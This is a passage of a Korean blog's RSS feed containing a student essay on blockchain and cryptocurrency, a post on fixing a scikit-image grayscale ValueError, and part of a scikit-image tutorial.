방법은 중앙을 집권하는 권력자(왕)이 있어야 한다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;이 권력자가 모든 장군들에게 명령을 내리면 배신자를 제외한 모든 장군들이 같은 시간에 성을 공격할 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2) &lt;span&gt;현재 사용하는 화폐의 문제점&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;비잔티움 장군 문제와 같이 우리는 익명의 공간에서 서로를 믿을 수 없다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그래서 지금 현재 화폐는 중앙 기관&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 에게 감시의 권한을 주고 거래를 한다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그 때문에 우리가 인터넷과 같은 공간에서 물건을 구매했을 때 구매 내&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 역이 남아 돈을 소비한 내용을 추적할 수 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;하지만 이러한 감시와 권력이 중앙 기관에 위임되어 항상 좋고&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 최선의 방법이라고 할 수는 없다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span&gt;영국의 경제학자 케인즈의 화폐수량 설은 다른 조건이 일정하다고 할 때 화폐 수요에 비해 화폐공급이 상대적으&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 로 과다한 경우 실물의 가치가 증가하고 화폐의 가치가 하락하는 인플레이션이 발생한다는 것이다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;물론 국가에&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 서 중앙 기간을 맡고 있기 때문에 과다한 화폐공급을 하지 않을 것이다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;하지만 결국 우리는 정부나 중앙 기관에&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 게 이러한 권한을 믿고 위임할 수밖에 없다는 것이다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;이에 따른 프라이버시 침해나 통제는 어쩔 수 없는 것이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;암호화폐가 각광받는 이유&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;비잔티움 장군 문제 때문에 어쩔 수 없이 중앙 기관에 감시와 권력을 위임하는 수밖에 없었지만 이러한 중앙 기관 없이 기술적으로 비잔티움 장군 문제를 해결할 수 있는 기술이 생겼다&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;그것이 블록체인 기술을 이용하여 만든 암호화폐이다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;위의 내용과 같이 현재 사용하는 화폐의 문제점 때문에 암호화폐가 미래의 화폐 시스템이라고 각광받고 있다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;해결되어야 되는 문제점&lt;br /&gt;&lt;/span&gt;&amp;nbsp;암호화폐는 익명성이 보장되고 중앙 기관의 감시를 받지 않을 수 있고 신뢰할 수 있는 블록체인 기술을 사용하고 있지만 기존의 화폐를 대신해서 사용하기에는 큰 무리가 있다&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;첫 번째로 비트코인을 거래하는데 소요되는 속도는 최소 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;분이며&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;몇 시간까지 걸리기도 한다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;두 번째로 가격 변동이 너무 크다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;마지막으로 모든 거래내역들이 공개되어 있기 때문에 오히려 익명성 서비스가 제대로 제공되지 않을 수 있다&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 결론&lt;/h2&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;블록체인은 여러 가지 활용 분야가 있다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;하지만 제&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;차 산업 혁명 기술로 각광받는 이유는 새로운 화폐 역할을 할 수 있는 암호화폐 덕분일 것이다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;지금은 여러 가지 문제가 존재하기 때문에 기존의 화폐를 대신해서 사용할 수 없다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;하지만 기술이 발전해서 기존의 화폐를 대신해서 사용하게 된다면 더 이상 화폐를 생산하지 않아도 되고 중앙 기관도 존재하지 않아도 되기 때문에 수수료 같은 비용이 줄게 된다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;span&gt;그래서 결국 암호화폐는 미래의 화폐가 될 것이고 미래의 화폐에 쓰이는 블록체인은 제&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;차 산업 혁명의 핵심 기술이 될 것이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;</description>
      <category>공부</category>
      <category>블록체인</category>
      <category>블록체인기술</category>
      <category>블록체인에 대하여</category>
      <category>비트코인</category>
      <category>비트코인 기술</category>
      <category>암호화폐</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/91</guid>
      <comments>https://geru.tistory.com/91#entry91comment</comments>
      <pubDate>Sat, 20 Feb 2021 17:37:38 +0900</pubDate>
    </item>
    <item>
      <title>[파이썬] ValueError: The parameter `image` must be a 2-dimensional array</title>
      <link>https://geru.tistory.com/79</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;622&quot; data-origin-height=&quot;616&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6pOwC/btqMuQEJMeF/VzUbHKjTZ7vFBQXy3FLi3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6pOwC/btqMuQEJMeF/VzUbHKjTZ7vFBQXy3FLi3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6pOwC/btqMuQEJMeF/VzUbHKjTZ7vFBQXy3FLi3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6pOwC%2FbtqMuQEJMeF%2FVzUbHKjTZ7vFBQXy3FLi3k%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;622&quot; data-origin-height=&quot;616&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;LBP실습을 하던 도중 위와 같이 오류가 나왔다.&lt;/p&gt;
&lt;p&gt;검색을 해보니&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;268&quot; data-origin-height=&quot;58&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dLvXq5/btqMxpGcFRU/fKYZvLqsRDKViYn35HoHg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dLvXq5/btqMxpGcFRU/fKYZvLqsRDKViYn35HoHg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dLvXq5/btqMxpGcFRU/fKYZvLqsRDKViYn35HoHg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdLvXq5%2FbtqMxpGcFRU%2FfKYZvLqsRDKViYn35HoHg1%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;268&quot; data-origin-height=&quot;58&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;사용했던 cat, woman, circle이미지가 완전한 그레이 스케일 이미지가 아니어서 발생한 것이었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;416&quot; data-origin-height=&quot;161&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1mH6q/btqMAqEvRr4/XkKhqDkLkh4c6ga8uhhyak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1mH6q/btqMAqEvRr4/XkKhqDkLkh4c6ga8uhhyak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1mH6q/btqMAqEvRr4/XkKhqDkLkh4c6ga8uhhyak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1mH6q%2FbtqMAqEvRr4%2FXkKhqDkLkh4c6ga8uhhyak%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;416&quot; data-origin-height=&quot;161&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그래서 위와 같이 이미지를 그레이 스케일로 변환하였다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;472&quot; data-origin-height=&quot;80&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kIF9E/btqMArQXnWY/OZup5U29K0F2zPgEpjVC7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kIF9E/btqMArQXnWY/OZup5U29K0F2zPgEpjVC7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kIF9E/btqMArQXnWY/OZup5U29K0F2zPgEpjVC7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkIF9E%2FbtqMArQXnWY%2FOZup5U29K0F2zPgEpjVC7k%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;472&quot; data-origin-height=&quot;80&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그레이 스케일로 변환 후에 잘 실행되었다.&lt;/p&gt;</description>
      <category>공부/오류해결</category>
      <category>LBP</category>
      <category>LBP오류</category>
      <category>The parameter `image` must be a 2-dimensional array</category>
      <category>ValueError</category>
      <category>ValueError: The parameter `image` must be a 2-dimensional array</category>
      <category>오류해결</category>
      <category>코딩공부</category>
      <category>파이썬</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/79</guid>
      <comments>https://geru.tistory.com/79#entry79comment</comments>
      <pubDate>Wed, 4 Nov 2020 15:04:43 +0900</pubDate>
    </item>
    <item>
      <title>[파이썬] scikit-image</title>
      <link>https://geru.tistory.com/75</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. scikit-image란?&lt;/h2&gt;
&lt;p&gt;scikit-image는 Pillow보다 고급 기능을 제공하며 Enterprise급 응용프로그램을 작성하는데 적합하다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 이미지 읽기&lt;/h2&gt;
&lt;p&gt;scikit-image에서는 라이브러리의 io 모듈에 있는 imread() 함수를 사용해 이미지를 읽는다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;231&quot; data-origin-height=&quot;74&quot; width=&quot;318&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTUe1G/btqIRZkQsDy/pJcFFkxMuoOkcwLTWyKfkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTUe1G/btqIRZkQsDy/pJcFFkxMuoOkcwLTWyKfkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTUe1G/btqIRZkQsDy/pJcFFkxMuoOkcwLTWyKfkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTUe1G%2FbtqIRZkQsDy%2FpJcFFkxMuoOkcwLTWyKfkK%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;231&quot; data-origin-height=&quot;74&quot; width=&quot;318&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 코드를 사용하면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;290&quot; data-origin-height=&quot;374&quot; width=&quot;316&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c3HsxJ/btqIOby77eR/vkYu3tGRAht8tylccDB3j1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c3HsxJ/btqIOby77eR/vkYu3tGRAht8tylccDB3j1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c3HsxJ/btqIOby77eR/vkYu3tGRAht8tylccDB3j1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc3HsxJ%2FbtqIOby77eR%2FvkYu3tGRAht8tylccDB3j1%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;290&quot; data-origin-height=&quot;374&quot; width=&quot;316&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 사진과 같이 주피터 노트북에서 바로 결과를 출력해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 이미지 저장&lt;/h2&gt;
&lt;p&gt;imsave() 함수 사용, 저장하려는 파일의 절대 경로 또는 상대 경로와 이미지 변수를 입력으로 사용하여 저장한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;248&quot; data-origin-height=&quot;56&quot; width=&quot;350&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDJZfX/btqIOa7ZLeB/OQKYYU42DOFk2ZJjMMZjpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDJZfX/btqIOa7ZLeB/OQKYYU42DOFk2ZJjMMZjpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDJZfX/btqIOa7ZLeB/OQKYYU42DOFk2ZJjMMZjpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDJZfX%2FbtqIOa7ZLeB%2FOQKYYU42DOFk2ZJjMMZjpK%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;248&quot; data-origin-height=&quot;56&quot; width=&quot;350&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이미지를 다른 이름으로 저장해보자.&lt;/p&gt;
&lt;p&gt;위의 코드를 사용하면&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;723&quot; data-origin-height=&quot;27&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RyWUm/btqIX3zhbJq/ttAS5J9pHjawyCJWcCIKoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RyWUm/btqIX3zhbJq/ttAS5J9pHjawyCJWcCIKoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RyWUm/btqIX3zhbJq/ttAS5J9pHjawyCJWcCIKoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRyWUm%2FbtqIX3zhbJq%2FttAS5J9pHjawyCJWcCIKoK%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;723&quot; data-origin-height=&quot;27&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 사진과 같이 잘 저장된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 데이터 모듈&lt;/h2&gt;
&lt;p&gt;이 모듈은 몇 가지 표준 테스트 이미지를 제공한다.&lt;/p&gt;
&lt;p&gt;이미지 처리에서 알고리즘의 결과를 보여주기 위한 적절한 예제로 사용된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;212&quot; data-origin-height=&quot;54&quot; width=&quot;361&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxGIRA/btqIX4Zgqr9/kxKXQ3eaBU2jf4TnDNh4YK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxGIRA/btqIX4Zgqr9/kxKXQ3eaBU2jf4TnDNh4YK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxGIRA/btqIX4Zgqr9/kxKXQ3eaBU2jf4TnDNh4YK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcxGIRA%2FbtqIX4Zgqr9%2FkxKXQ3eaBU2jf4TnDNh4YK%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;212&quot; data-origin-height=&quot;54&quot; width=&quot;361&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 코드를 사용하면&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;293&quot; data-origin-height=&quot;353&quot; width=&quot;346&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHydhI/btqIVHwKqI8/ooiHkks57Xn35vAovv9ik0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHydhI/btqIVHwKqI8/ooiHkks57Xn35vAovv9ik0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHydhI/btqIVHwKqI8/ooiHkks57Xn35vAovv9ik0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHydhI%2FbtqIVHwKqI8%2FooiHkks57Xn35vAovv9ik0%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;293&quot; data-origin-height=&quot;353&quot; width=&quot;346&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위와 같이 내부에 저장되어있는 camera라는 이미지를 출력시킬 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;243&quot; width=&quot;544&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P0wpE/btqIM6LBwuK/FbtSAnauKyxdrFKG3TF8Z1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P0wpE/btqIM6LBwuK/FbtSAnauKyxdrFKG3TF8Z1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P0wpE/btqIM6LBwuK/FbtSAnauKyxdrFKG3TF8Z1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP0wpE%2FbtqIM6LBwuK%2FFbtSAnauKyxdrFKG3TF8Z1%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;243&quot; width=&quot;544&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이외에도 내장되어 있는 text라는 이미지도 출력시킬 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 색상 모듈&lt;/h2&gt;
&lt;p&gt;색상 모듈은 한 색상 공간에서 다른 색상 공간으로 이미지를 변경하는 함수들을 포함하고 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;229&quot; data-origin-height=&quot;85&quot; width=&quot;318&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wLXV7/btqIROi6H0L/3HXyCRycSzpSsATgKERax1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wLXV7/btqIROi6H0L/3HXyCRycSzpSsATgKERax1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wLXV7/btqIROi6H0L/3HXyCRycSzpSsATgKERax1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwLXV7%2FbtqIROi6H0L%2F3HXyCRycSzpSsATgKERax1%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;229&quot; data-origin-height=&quot;85&quot; width=&quot;318&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 코드를 사용해서&lt;/p&gt;
&lt;p&gt;(rgb2gray() 함수는 RGB 이미지 배열을 그레이 스케일 이미지 배열로 변환한다.)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
